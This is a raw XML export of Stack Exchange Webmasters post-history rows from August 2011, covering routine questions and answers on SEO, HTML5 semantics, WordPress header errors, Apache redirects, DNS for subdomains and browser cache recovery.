  <row Id="44625" PostHistoryTypeId="17" PostId="18204" RevisionGUID="87a78801-c970-4ff9-bce9-46d16fb6e382" CreationDate="2011-08-17T15:40:03.560" UserId="108" Comment="to http://stackoverflow.com/questions/7095587/how-to-inspect-on-hover" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="44626" PostHistoryTypeId="10" PostId="18204" RevisionGUID="aab66cb3-0786-4a33-af90-01b1a3eae6bb" CreationDate="2011-08-17T15:40:03.530" UserId="108" CloseReasonId="2" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="44628" PostHistoryTypeId="5" PostId="18367" RevisionGUID="099cd643-efac-4889-8376-b83d9c73896c" CreationDate="2011-08-17T15:44:43.583" UserId="6033" Comment="added 104 characters in body" Text="There are three ways google can track time on site that I know:&#xD;&#xA;&#xD;&#xA;1. Through chrome browser statistics&#xD;&#xA;2. Through google analtyics&#xD;&#xA;3. The amount of time between the click on your link in the SERP and the time between the next click on the same SERP (indicating the user visited your site then went back to the results page for another link). &#xD;&#xA;&#xD;&#xA;There have been a number of articles from google [saying they don't use google analytics][1] data in search ranking. That leaves chrome statistics and #3 above. Seriously manipulating chrome statistics would be a major chore for even advanced technology groups so it's unlikely this is the case.&#xD;&#xA;&#xD;&#xA;Finally you have no control over #3. &#xD;&#xA;&#xD;&#xA;In summary, I wouldn't sweat it because you can't control it and it's unlikely that doing the type of attack you're suggesting would accomplish anything.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/12081/does-google-use-google-analytics-information-in-its-search-algorithms" />
  <row Id="44630" PostHistoryTypeId="2" PostId="18368" RevisionGUID="2cd467fa-fc02-4971-a31a-5cf73554c24c" CreationDate="2011-08-17T15:47:29.817" UserId="693" Text="I have read this article http://diveintohtml5.org/semantics.html#new-elements on the different new elements in html5. Now I want to create my new portfolio with the this new markup. It is quite important for me that the content is indexed as good as possible by the crawlers, and at the same time set an example on how html5 should be written.&#xD;&#xA;&#xD;&#xA;**Note: this is just an example, i'm not really doing this**&#xD;&#xA;&#xD;&#xA;Let's say I have a page for my skills. Normally I would have something like this:&#xD;&#xA;&#xD;&#xA;    &lt;div&gt;&lt;!-- header --&gt;&#xD;&#xA;      &lt;ul id=&quot;menu&quot;&gt;the menu&lt;/ul&gt;&#xD;&#xA;      &lt;h1&gt;My Skills&lt;/h1&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;    &lt;div&gt;&lt;!-- content 1 --&gt;&#xD;&#xA;      &lt;h2&gt;html&lt;/h2&gt;&#xD;&#xA;      &lt;p&gt;tell the people about the html skills&lt;/p&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &lt;div&gt;&lt;!-- content 2 --&gt;&#xD;&#xA;      &lt;h2&gt;css&lt;/h2&gt;&#xD;&#xA;      &lt;p&gt;tell the people about the css skills&lt;/p&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;    &lt;div&gt;&lt;!-- footer --&gt;&#xD;&#xA;      &lt;p&gt;some footer text&lt;/p&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;Pretty basic. So how far do you take this in html5. I can see the header, section, nav and footer are important, but that do you do inside. Do you go all the way?&#xD;&#xA;&#xD;&#xA;    &lt;header&gt;&lt;!-- header --&gt;&#xD;&#xA;      &lt;nav&gt;the menu&lt;/nav&gt;&#xD;&#xA;      &lt;h1&gt;My Skills&lt;/h1&gt;&#xD;&#xA;    &lt;/header&gt;&#xD;&#xA;&#xD;&#xA;    &lt;section&gt;&lt;!-- content 1 --&gt;&#xD;&#xA;      &lt;header&gt;&#xD;&#xA;        &lt;h2&gt;css&lt;/h2&gt;&#xD;&#xA;      &lt;/header&gt;&#xD;&#xA;      &lt;section&gt;&#xD;&#xA;        &lt;p&gt;tell the people about the css skills&lt;/p&gt;&#xD;&#xA;      &lt;/section&gt;&#xD;&#xA;    &lt;/section&gt;&#xD;&#xA;&#xD;&#xA;    &lt;section&gt;&lt;!-- content 2 --&gt;&#xD;&#xA;      &lt;header&gt;&#xD;&#xA;        &lt;h2&gt;css&lt;/h2&gt;&#xD;&#xA;      &lt;/header&gt;&#xD;&#xA;      &lt;section&gt;&#xD;&#xA;        &lt;p&gt;tell the people about the css skills&lt;/p&gt;&#xD;&#xA;      &lt;/section&gt;&#xD;&#xA;    &lt;/section&gt;&#xD;&#xA;&#xD;&#xA;    &lt;footer&gt;&lt;!-- footer --&gt;&#xD;&#xA;      &lt;p&gt;some footer text&lt;/p&gt;&#xD;&#xA;    &lt;/footer&gt;&#xD;&#xA;&#xD;&#xA;Do you need the inside elements for such a small example? If not, when do you use the inside elements?" />
  <row Id="44631" PostHistoryTypeId="1" PostId="18368" RevisionGUID="2cd467fa-fc02-4971-a31a-5cf73554c24c" CreationDate="2011-08-17T15:47:29.817" UserId="693" Text="Where do you draw the line with the new html5 elements" />
  <row Id="44632" PostHistoryTypeId="3" PostId="18368" RevisionGUID="2cd467fa-fc02-4971-a31a-5cf73554c24c" CreationDate="2011-08-17T15:47:29.817" UserId="693" Text="&lt;website-design&gt;&lt;html5&gt;&lt;semantic-web&gt;" />
  <row Id="44633" PostHistoryTypeId="5" PostId="18367" RevisionGUID="b38a9fe6-5104-4be6-a40c-2c8ad469893f" CreationDate="2011-08-17T15:51:21.857" UserId="6033" Comment="added 104 characters in body" Text="There are three ways google can track time on site that I know:&#xD;&#xA;&#xD;&#xA;1. Through chrome browser statistics&#xD;&#xA;2. Through google analtyics&#xD;&#xA;3. The amount of time between the click on your link in the SERP and the time between the next click on the same SERP (indicating the user visited your site then went back to the results page for another link). &#xD;&#xA;&#xD;&#xA;There have been a number of articles from google [saying they don't use google analytics][1] data in search ranking. That leaves chrome statistics and #3 above. Seriously manipulating chrome statistics would be a major chore for even advanced technology groups so it's unlikely this is the case.&#xD;&#xA;&#xD;&#xA;Finally you have no control over #3. &#xD;&#xA;&#xD;&#xA;In summary, I wouldn't sweat it because you can't control it and it's unlikely that doing the type of attack you're suggesting would accomplish anything. &#xD;&#xA;&#xD;&#xA;**Speculation:** Your competitor would probably have to send thousands of requests using unique chrome browsers from unique ip blocks to make google take any consideration from the attack. I don't think a few curl requests from a few different ip addresses would be enough to make google reconsider your site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/12081/does-google-use-google-analytics-information-in-its-search-algorithms" />
  <row Id="44634" PostHistoryTypeId="2" PostId="18369" RevisionGUID="6023ae0d-c304-45d9-9020-47adee80f522" CreationDate="2011-08-17T15:58:49.257" UserId="5809" Text="I am trying to de-index a certain url from google, but for some reason it just isn't working.&#xD;&#xA;&#xD;&#xA;I added this snippet: &#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;googlebot&quot; content=&quot;noindex&quot;/&gt;&#xD;&#xA;&#xD;&#xA;To this page:&#xD;&#xA;&#xD;&#xA;http://www.comehike.com/outdoors/parks/edit_park_topic.php?park_id=55621&amp;topic_id=1&amp;topic_name=General%20Information&amp;park_name=Kings%20Canyon%20National%20Park&#xD;&#xA;&#xD;&#xA;And generally the page edit_park_topic.php which you can view source and see the no-index snippet.&#xD;&#xA;&#xD;&#xA;For some reason it isn't de-indexing those pages because if you search this in google: &#xD;&#xA;site:comehike.com/outdoors/parks/edit_park_topic.php - it will show almost 200,000 results.  And it is actually adding pages since before it was less than that.&#xD;&#xA;&#xD;&#xA;Is the site: directive showing only the indexed pages or all of them? How can I get those pages de-indexed?  Also, for the panda update, do you think having the 200k pages with that form will be damaging?  I already got hit by panda for having other violations which I resolved, but my traffic had not come back, and I just discovered recently this form of which there are 200k urls.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;" />
  <row Id="44635" PostHistoryTypeId="1" PostId="18369" RevisionGUID="6023ae0d-c304-45d9-9020-47adee80f522" CreationDate="2011-08-17T15:58:49.257" UserId="5809" Text="De-indexing pages and checking with Google's site: command" />
  <row Id="44636" PostHistoryTypeId="3" PostId="18369" RevisionGUID="6023ae0d-c304-45d9-9020-47adee80f522" CreationDate="2011-08-17T15:58:49.257" UserId="5809" Text="&lt;seo&gt;&lt;google&gt;&lt;google-panda-algorithm&gt;" />
  <row Id="44637" PostHistoryTypeId="2" PostId="18370" RevisionGUID="39960811-ed88-4adc-ba1f-7284c166eb83" CreationDate="2011-08-17T16:47:21.667" UserId="2115" Text="I have a website ([http://www.casino-edge.com][1]), I am using Wordpress for it. I edited `header.php` and `functions.php` file to put my Google Analytics code there. But after that when I am trying to login to my administrative account by this:-&#xD;&#xA;&#xD;&#xA;[www.casino-edge.com/wp-admin.php][2] &#xD;&#xA;&#xD;&#xA;Then this warning comes and I am unable to login to my wordpress account.&#xD;&#xA;&#xD;&#xA;&gt; Warning: &#xD;&#xA;&gt; &#xD;&#xA;&gt; Cannot modify header information - headers already sent by (output&#xD;&#xA;&gt; started at&#xD;&#xA;&gt; /home/wwwwww/public_html/wp-content/themes/poker-complex/functions.php:11)&#xD;&#xA;&gt; in /home/wwwwww/public_html/wp-includes/pluggable.php on line 934&#xD;&#xA;&#xD;&#xA;How to solve this problem?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://casino-edge.com/&#xD;&#xA;  [2]: http://www.casino-edge.com/wp-admin" />
  <row Id="44638" PostHistoryTypeId="1" PostId="18370" RevisionGUID="39960811-ed88-4adc-ba1f-7284c166eb83" CreationDate="2011-08-17T16:47:21.667" UserId="2115" Text="Unable to login to wp-admin (Wordpress)" />
  <row Id="44639" PostHistoryTypeId="3" PostId="18370" RevisionGUID="39960811-ed88-4adc-ba1f-7284c166eb83" CreationDate="2011-08-17T16:47:21.667" UserId="2115" Text="&lt;wordpress&gt;&lt;http-headers&gt;" />
  <row Id="44640" PostHistoryTypeId="2" PostId="18371" RevisionGUID="60f73e7b-c5c6-45f0-8fee-acd618262e9b" CreationDate="2011-08-17T17:01:41.717" UserId="7198" Text="Remove all white space (spaces and carriage returns) before any opening `&lt;?php` or `&lt;?` tags and after all closing `?&gt;` tags in all PHP files you've modified." />
  <row Id="44641" PostHistoryTypeId="5" PostId="18370" RevisionGUID="b89a171b-c975-4643-adff-1c788ce6b293" CreationDate="2011-08-17T17:05:35.333" UserId="7198" Comment="removed links, clarified title, improved grammar" Text="I edited the `header.php` and `functions.php` files in my WordPress site to add Google Analytics tracking code. Now, when I try to login to my admin area, the following warning appears and I am unable to login to my WordPress account:&#xD;&#xA;&#xD;&#xA;&gt; Warning: &#xD;&#xA;&gt; &#xD;&#xA;&gt; Cannot modify header information - headers already sent by (output&#xD;&#xA;&gt; started at&#xD;&#xA;&gt; /home/wwwwww/public_html/wp-content/themes/poker-complex/functions.php:11)&#xD;&#xA;&gt; in /home/wwwwww/public_html/wp-includes/pluggable.php on line 934&#xD;&#xA;&#xD;&#xA;How to solve this problem?" />
  <row Id="44642" PostHistoryTypeId="4" PostId="18370" RevisionGUID="b89a171b-c975-4643-adff-1c788ce6b293" CreationDate="2011-08-17T17:05:35.333" UserId="7198" Comment="removed links, clarified title, improved grammar" Text="&quot;Cannot modify header information&quot; error in my PHP/WordPress site" />
  <row Id="44643" PostHistoryTypeId="6" PostId="18370" RevisionGUID="b89a171b-c975-4643-adff-1c788ce6b293" CreationDate="2011-08-17T17:05:35.333" UserId="7198" Comment="removed links, clarified title, improved grammar" Text="&lt;php&gt;&lt;wordpress&gt;&lt;http-headers&gt;" />
  <row Id="44644" PostHistoryTypeId="25" PostId="18368" RevisionGUID="396175d0-8d63-4dc3-9de5-c20c10ce3c89" CreationDate="2011-08-17T18:34:49.320" Comment="http://twitter.com/#!/StackWebmasters/status/103897586922045440" />
  <row Id="44645" PostHistoryTypeId="2" PostId="18372" RevisionGUID="bf45d18e-0ffe-4130-9c09-64e3f17ce887" CreationDate="2011-08-17T18:50:19.487" UserId="9652" Text="The microformats site is down now as I write this, but the Google cache is available. This is a solution for you:&#xD;&#xA;&#xD;&#xA;http://microformats.org/wiki/RelMeAuth" />
  <row Id="44646" PostHistoryTypeId="2" PostId="18373" RevisionGUID="687fbc61-b6d2-49c2-8346-141f84ec5d24" CreationDate="2011-08-17T20:08:17.007" UserId="9653" Text="from the url&#xD;&#xA;&#xD;&#xA;    xxx.yyy.site.com &#xD;&#xA;just need to redirect to&#xD;&#xA;&#xD;&#xA;    xxx.site.com&#xD;&#xA;Thanks for the help, sorry I have no regex/rewrite foo.&#xD;&#xA;" />
  <row Id="44647" PostHistoryTypeId="1" PostId="18373" RevisionGUID="687fbc61-b6d2-49c2-8346-141f84ec5d24" CreationDate="2011-08-17T20:08:17.007" UserId="9653" Text="just another mod_rewrite question" />
  <row Id="44648" PostHistoryTypeId="3" PostId="18373" RevisionGUID="687fbc61-b6d2-49c2-8346-141f84ec5d24" CreationDate="2011-08-17T20:08:17.007" UserId="9653" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="44649" PostHistoryTypeId="17" PostId="18374" RevisionGUID="314afc58-f98a-4507-b042-f7695433d097" CreationDate="2011-08-17T20:43:32.170" UserId="-1" Comment="from http://serverfault.com/questions/302262/how-does-proxying-and-caching-affect-analytics" Text="" />
  <row Id="44650" PostHistoryTypeId="2" PostId="18374" RevisionGUID="304dbb1a-a709-4db5-b1fb-c9a7793afcb0" CreationDate="2011-08-17T20:32:20.323" UserId="9661" UserDisplayName="Olaseni" Text="What is the effect of proxying and caching at the web server on analytics reports and figures?&#xD;&#xA;&#xD;&#xA;I have an online resource that has recently been bogged down by traffic and I want to reduce dynamic generation by extensively using caching and proxying at the server level.&#xD;&#xA;&#xD;&#xA;However I still want to have intact and sound analytics, especially of the kind of traffic we are receiving." />
  <row Id="44651" PostHistoryTypeId="1" PostId="18374" RevisionGUID="304dbb1a-a709-4db5-b1fb-c9a7793afcb0" CreationDate="2011-08-17T20:32:20.323" UserId="9661" UserDisplayName="Olaseni" Text="How does proxying and caching affect analytics?" />
  <row Id="44652" PostHistoryTypeId="3" PostId="18374" RevisionGUID="304dbb1a-a709-4db5-b1fb-c9a7793afcb0" CreationDate="2011-08-17T20:32:20.323" UserId="9661" UserDisplayName="Olaseni" Text="&lt;proxy&gt;&lt;analytics&gt;" />
  <row Id="44653" PostHistoryTypeId="25" PostId="18370" RevisionGUID="629b2731-8495-4f41-9414-03cf9d756ac7" CreationDate="2011-08-17T21:34:49.783" Comment="http://twitter.com/#!/StackWebmasters/status/103942885698842624" />
  <row Id="44654" PostHistoryTypeId="17" PostId="18375" RevisionGUID="7818b698-1cce-4748-b4b1-1ea2a11505f5" CreationDate="2011-08-17T21:53:41.643" UserId="-1" Comment="from http://serverfault.com/questions/301844/why-is-my-subdomain-not-showing-up" Text="" />
  <row Id="44655" PostHistoryTypeId="17" PostId="18376" RevisionGUID="b9b20921-b67c-4e5e-a740-9c1e2dc7b873" CreationDate="2011-08-17T21:53:41.643" UserId="-1" Comment="from http://serverfault.com/questions/301844/why-is-my-subdomain-not-showing-up" Text="" />
  <row Id="44656" PostHistoryTypeId="2" PostId="18376" RevisionGUID="7b01187a-7afd-4958-ada6-200eb416c349" CreationDate="2011-08-16T23:39:58.703" UserDisplayName="user48838" Text="Have up updated your DNS records to reflect the additional DNS host (plants.flowerwood.com)?" />
  <row Id="44657" PostHistoryTypeId="2" PostId="18377" RevisionGUID="04cae0de-ff34-4a15-8e94-d8c8b142ac23" CreationDate="2011-08-16T23:40:54.980" UserId="568" Text=" - http://www.flowerwood.com is pointing to 69.85.232.203&#xD;&#xA; - http://plants.flowerwood.com is pointing to 98.124.199.1&#xD;&#xA;&#xD;&#xA;Change the DNS record for the plants dubdomain to point to the same IP as flowerwood.com.&#xD;&#xA;&#xD;&#xA;(This post assumes default behavior of a cPanel/Apache setup. Also assuming that the subdomain is also on the same server. All pretty vanilla assumptions given shared hosting.)" />
  <row Id="44658" PostHistoryTypeId="2" PostId="18375" RevisionGUID="da747a75-bc44-42f4-909f-a5ee43e0cc87" CreationDate="2011-08-16T23:22:29.423" UserId="5432" Text="I am hosting a website on Host Gator: http://www.flowerwood.com. It is working correctly. I also have a subdomain that I setup using cPanel called http://plants.flowerwood.com&#xD;&#xA;&#xD;&#xA;Right now I have a very basic html page on there that simply says, plants.flowerwood.com home. The only problem is the page does not show and it redirects to the search page of the main site. &#xD;&#xA;&#xD;&#xA;I am not sure where to begin to know how to resolve this and could use some good advice. How do I resolve this kind of an issue?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA; " />
  <row Id="44659" PostHistoryTypeId="1" PostId="18375" RevisionGUID="da747a75-bc44-42f4-909f-a5ee43e0cc87" CreationDate="2011-08-16T23:22:29.423" UserId="5432" Text="Why is my subdomain not showing up?" />
  <row Id="44660" PostHistoryTypeId="3" PostId="18375" RevisionGUID="da747a75-bc44-42f4-909f-a5ee43e0cc87" CreationDate="2011-08-16T23:22:29.423" UserId="5432" Text="&lt;virtualhost&gt;&lt;web-hosting&gt;&lt;subdomain&gt;&lt;cpanel&gt;" />
  <row Id="44661" PostHistoryTypeId="17" PostId="18377" RevisionGUID="05aca9a0-df74-4e66-974c-cd40199d0ddc" CreationDate="2011-08-17T21:53:41.643" UserId="-1" Comment="from http://serverfault.com/questions/301844/why-is-my-subdomain-not-showing-up" Text="" />
  <row Id="44662" PostHistoryTypeId="2" PostId="18378" RevisionGUID="53136c24-1dcc-4a78-92ae-9136736243d8" CreationDate="2011-08-17T21:56:05.550" UserId="6355" Text="I recommend reading the article from Smashing Magazine &quot;[HTML5 And The Document Outlining Algorithm][1]&quot; You will find detailed explanations on how to structure your html.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://coding.smashingmagazine.com/2011/08/16/html5-and-the-document-outlining-algorithm/" />
  <row Id="44665" PostHistoryTypeId="2" PostId="18379" RevisionGUID="0521bfd0-73ed-4ae3-b766-804e91092f62" CreationDate="2011-08-17T23:34:13.643" UserId="2585" Text="I do need your help and opinions.&#xD;&#xA;&#xD;&#xA;Last August, 1st, I have relaunched my website with a completely new design. As I have also moved it from Dreamweaver and .html format to Wordpress, the new website had also its urls changed to wordpress format, which were all duly and properly redirected using a htaccess file (already exhaustively tested and it is ok). I also keeped the same &quot;Title&quot; and meta description just to avoid surprises realted to traffic.&#xD;&#xA;&#xD;&#xA;Although in my opinion, the new design is much, much more modern, clear and easy to navigate, my bounce rate in general has increased from 40%-50% (old design) to 60%-70% (new design) and the traffic started to decrease also, especially from Bing and Yahoo, since this Monday.&#xD;&#xA;&#xD;&#xA;As I am already tired trying to figure out what could be causing this higher Bounce Rate and decrease in traffic, I do appreciate you could help taking a look at the old website design and the new one and let me know if you see anything that could justify these worse result. &#xD;&#xA;&#xD;&#xA;Old: http://saturn.relmax.net/~easyjob/&#xD;&#xA;New: http://www.easyjob.net/&#xD;&#xA;&#xD;&#xA;Thanks in advance for your help" />
  <row Id="44666" PostHistoryTypeId="1" PostId="18379" RevisionGUID="0521bfd0-73ed-4ae3-b766-804e91092f62" CreationDate="2011-08-17T23:34:13.643" UserId="2585" Text="Why my new web design increased in 20% my bounce rate?" />
  <row Id="44667" PostHistoryTypeId="3" PostId="18379" RevisionGUID="0521bfd0-73ed-4ae3-b766-804e91092f62" CreationDate="2011-08-17T23:34:13.643" UserId="2585" Text="&lt;website-design&gt;" />
  <row Id="44668" PostHistoryTypeId="2" PostId="18380" RevisionGUID="c698a913-f784-4753-9ec6-c32db9c67602" CreationDate="2011-08-18T00:29:37.630" UserId="8354" Text="This rule will redirect (301 Permanent Redirect) all incoming requests to `xxx.yyy.site.com` domain to `http://xxx.site.com/` preserving the URL path (e.g. `http://xxx.yyy.site.com/kitten?say=meow` will be redirected to `http://xxx.site.com/kitten?say=meow`:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} =xxx.yyy.site.com&#xD;&#xA;    RewriteRule .* http://xxx.site.com%{REQUEST_URI} [R=301,L]&#xD;&#xA;&#xD;&#xA;This rule does not take into consideration HTTPS -- it will always redirect to HTTP. If it needs to preserve protocol as well (`http -&gt; http` and `https -&gt; https`), then you will need to have 2 rules (one for each protocol) and one extra rewrite condition for each rule (which will take protocol into consideration)." />
  <row Id="44669" PostHistoryTypeId="25" PostId="18343" RevisionGUID="1bd7064e-dc57-4b64-9fa6-fbe1da10343d" CreationDate="2011-08-18T00:34:49.503" Comment="http://twitter.com/#!/StackWebmasters/status/103988183867473920" />
  <row Id="44671" PostHistoryTypeId="2" PostId="18382" RevisionGUID="5e00c222-8571-4049-b0c5-924bff7345fd" CreationDate="2011-08-18T01:13:23.550" UserId="8354" Text="It really depends on which browser you were using. If it was Firefox, then try typing this in address bar: **`about:cache`**. You will be interested in disk cache: **`about:cache?device=disk`**. This will give you an idea of what you can still find in a cache.&#xD;&#xA;&#xD;&#xA;Unfortunately this will not work in all browsers.&#xD;&#xA;&#xD;&#xA;If you are on Windows, try these free programs:&#xD;&#xA;&#xD;&#xA; - [ChromeCacheView](http://www.nirsoft.net/utils/chrome_cache_view.html)&#xD;&#xA; - [MozillaCacheView](http://www.nirsoft.net/utils/mozilla_cache_viewer.html)&#xD;&#xA; - [OperaCacheView](http://www.nirsoft.net/utils/opera_cache_view.html)&#xD;&#xA; - [IECacheView](http://www.nirsoft.net/utils/ie_cache_viewer.html)&#xD;&#xA;&#xD;&#xA;You may also look for browser extensions (at least for Firefox and Chrome) that will allow you to save cached file locally when browsing about:cache pages." />
  <row Id="44673" PostHistoryTypeId="2" PostId="18384" RevisionGUID="41d8c742-bddd-45d4-aeb0-cbf32d3eaad7" CreationDate="2011-08-18T03:10:17.337" UserId="9660" Text="Also remove the UTF BOM ([Byte Order Mark][1]). AFAIK PHP doesn't support UTF BOM on its files, and to send utf-8 code the best way is adding headers like this one:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;        header(&quot;Content-Type: text/html; charset=utf-8&quot;);&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;and also metadata&#xD;&#xA;&#xD;&#xA;    &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Byte_order_mark" />
  <row Id="44674" PostHistoryTypeId="25" PostId="18375" RevisionGUID="05002dc2-2456-4acd-91ef-82147fe86157" CreationDate="2011-08-18T03:34:49.553" Comment="http://twitter.com/#!/StackWebmasters/status/104033483298582528" />
  <row Id="44675" PostHistoryTypeId="17" PostId="18385" RevisionGUID="20ac29a8-0b04-4fc6-a900-70612e2d2377" CreationDate="2011-08-18T03:56:32.987" UserId="-1" Comment="from http://stackoverflow.com/questions/7101808/can-search-engines-see-html-elements-hidden-by-css" Text="" />
  <row Id="44676" PostHistoryTypeId="17" PostId="18386" RevisionGUID="61b52f42-74af-4ec7-a315-0809d603a818" CreationDate="2011-08-18T03:56:32.987" UserId="-1" Comment="from http://stackoverflow.com/questions/7101808/can-search-engines-see-html-elements-hidden-by-css" Text="" />
  <row Id="44677" PostHistoryTypeId="17" PostId="18387" RevisionGUID="2b706ad5-5ae9-459c-b521-956b520302d8" CreationDate="2011-08-18T03:56:32.987" UserId="-1" Comment="from http://stackoverflow.com/questions/7101808/can-search-engines-see-html-elements-hidden-by-css" Text="" />
  <row Id="44678" PostHistoryTypeId="2" PostId="18386" RevisionGUID="4c7918b4-bc13-494c-8563-0eeebe705833" CreationDate="2011-08-18T02:45:37.790" UserDisplayName="icktoofay" Text="Yes, they can, but beware: if you stuff invisible elements with keywords and they find out, you could risk getting excluded from their search results." />
  <row Id="44679" PostHistoryTypeId="2" PostId="18387" RevisionGUID="65fad601-b46c-4f0d-a648-6efc7ce8910f" CreationDate="2011-08-18T02:45:50.430" UserDisplayName="Mike Samuel" Text="Yes.&#xD;&#xA;&#xD;&#xA;From http://www.456bereastreet.com/archive/200510/google_seo_and_using_css_to_hide_text/&#xD;&#xA;&#xD;&#xA;&gt; Those are all legitimate reasons to hide text, but many developers have still been worried that Google and other search engines may start to algorithmically flag any sites that use CSS to hide text as possible spammers.&#xD;&#xA;&#xD;&#xA;&gt; Up until now, that has not been the case (at least not officially), but in the post SEO Mistakes: Unwise comments, Matt Cutts, who works at Google, states that I don’t recommend that people use CSS to hide text. That statement of course generated a whole lot of comments and questions from worried developers and webmasters." />
  <row Id="44680" PostHistoryTypeId="2" PostId="18385" RevisionGUID="70fca58d-5bf4-4710-91f8-768ffbc8ecf3" CreationDate="2011-08-18T02:43:41.207" UserDisplayName="Ispuk" Text="I was wondering if search engines can read `&lt;a&gt;` elements with `display:none`.&#xD;&#xA;&#xD;&#xA;Is it true? Can search engines see elements hidden by CSS rules?" />
  <row Id="44681" PostHistoryTypeId="1" PostId="18385" RevisionGUID="70fca58d-5bf4-4710-91f8-768ffbc8ecf3" CreationDate="2011-08-18T02:43:41.207" UserDisplayName="Ispuk" Text="Can search engines see HTML elements hidden by CSS?" />
  <row Id="44682" PostHistoryTypeId="3" PostId="18385" RevisionGUID="70fca58d-5bf4-4710-91f8-768ffbc8ecf3" CreationDate="2011-08-18T02:43:41.207" UserDisplayName="Ispuk" Text="&lt;html&gt;&lt;seo&gt;" />
  <row Id="44683" PostHistoryTypeId="2" PostId="18388" RevisionGUID="8f85b880-a0cc-4f97-9eb1-31e483f789dd" CreationDate="2011-08-18T04:55:54.513" UserId="4306" Text="There are pages in Google's index that were [crawled on 10th August][1] that do not have the 'noindex' metatag. So you probably just need to be patient and wait for the Googlebot to recrawl your page.&#xD;&#xA;&#xD;&#xA;However, if you want to request a removal of certain pages from the index, you can do this through Google Webmaster Tools [[instructions][2]]:&#xD;&#xA;&#xD;&#xA;&gt;  If you own the site&#xD;&#xA;&gt;  &#xD;&#xA;&gt;  - Verify your ownership of the site in Webmaster Tools.&#xD;&#xA;&gt;  - On the Webmaster Tools home page, click the site you want.&#xD;&#xA;&#xD;&#xA;&gt;  -  On the Dashboard, click Site configuration in the left-hand&#xD;&#xA;   navigation.&#xD;&#xA;&gt;  -   Click Crawler access, and then click Remove URL.&#xD;&#xA;&gt;  -   Click New removal request.&#xD;&#xA;&gt;  -   Type the URL of the page you want removed from search results&#xD;&#xA;   (not the Google search results URL or cached page URL), and then&#xD;&#xA;   click Continue. How to find the right URL. Note that the URL is&#xD;&#xA;   case-sensitive—you will need to submit the URL using exactly the same&#xD;&#xA;   characters and the same capitalization that the site uses.&#xD;&#xA;&gt;  -   Click Remove page from search results and cache.&#xD;&#xA;&gt;  -   Click Submit Request.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;From here:&#xD;&#xA;&#xD;&#xA; - http://www.google.com/support/webmasters/bin/answer.py?answer=164734&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webcache.googleusercontent.com/search?q=cache:5srZfUT1_B0J:www.comehike.com/outdoors/parks/edit_park_topic.php?park_id=30533&amp;topic_id=5&amp;topic_name=Flowers&amp;park_name=Peace%2520Park%20site:comehike.com/outdoors/parks/edit_park_topic.php&amp;cd=2&amp;hl=en&amp;ct=clnk&amp;gl=sg&amp;source=www.google.com.sg&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?answer=164734" />
  <row Id="44684" PostHistoryTypeId="2" PostId="18389" RevisionGUID="0bb56574-c280-4972-81d8-2726bd34328a" CreationDate="2011-08-18T05:28:39.277" UserId="1459" Text="Currently, I am a happy user of google app engine.&#xD;&#xA;&#xD;&#xA;However, I am planning to host a CPU intensive web app (which is going to apply all sorts of signal processing algorithm), is there any other good service which is available?&#xD;&#xA;&#xD;&#xA;As I realize google app engine has placed restriction on per minute CPU time.&#xD;&#xA;&#xD;&#xA;http://code.google.com/appengine/docs/quotas.html#Per-minute_Quotas" />
  <row Id="44685" PostHistoryTypeId="1" PostId="18389" RevisionGUID="0bb56574-c280-4972-81d8-2726bd34328a" CreationDate="2011-08-18T05:28:39.277" UserId="1459" Text="Good service to host CPU intensive web application" />
  <row Id="44686" PostHistoryTypeId="3" PostId="18389" RevisionGUID="0bb56574-c280-4972-81d8-2726bd34328a" CreationDate="2011-08-18T05:28:39.277" UserId="1459" Text="&lt;google-app-engine&gt;" />
  <row Id="44687" PostHistoryTypeId="25" PostId="18385" RevisionGUID="0239794e-5697-45ac-bfcf-d82ec5ac76c7" CreationDate="2011-08-18T06:34:50.597" Comment="http://twitter.com/#!/StackWebmasters/status/104078784575188992" />
  <row Id="44688" PostHistoryTypeId="5" PostId="18385" RevisionGUID="67441d93-9a53-4b3e-aca7-fecc78050663" CreationDate="2011-08-18T06:49:07.037" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How bad is it to use display: none in CSS?](http://webmasters.stackexchange.com/questions/1377/how-bad-is-it-to-use-display-none-in-css)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I was wondering if search engines can read `&lt;a&gt;` elements with `display:none`.&#xD;&#xA;&#xD;&#xA;Is it true? Can search engines see elements hidden by CSS rules?" />
  <row Id="44689" PostHistoryTypeId="10" PostId="18385" RevisionGUID="a71e6ad5-9783-4245-8359-6d34ab50d251" CreationDate="2011-08-18T06:49:06.663" UserId="1064" CloseReasonId="1" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
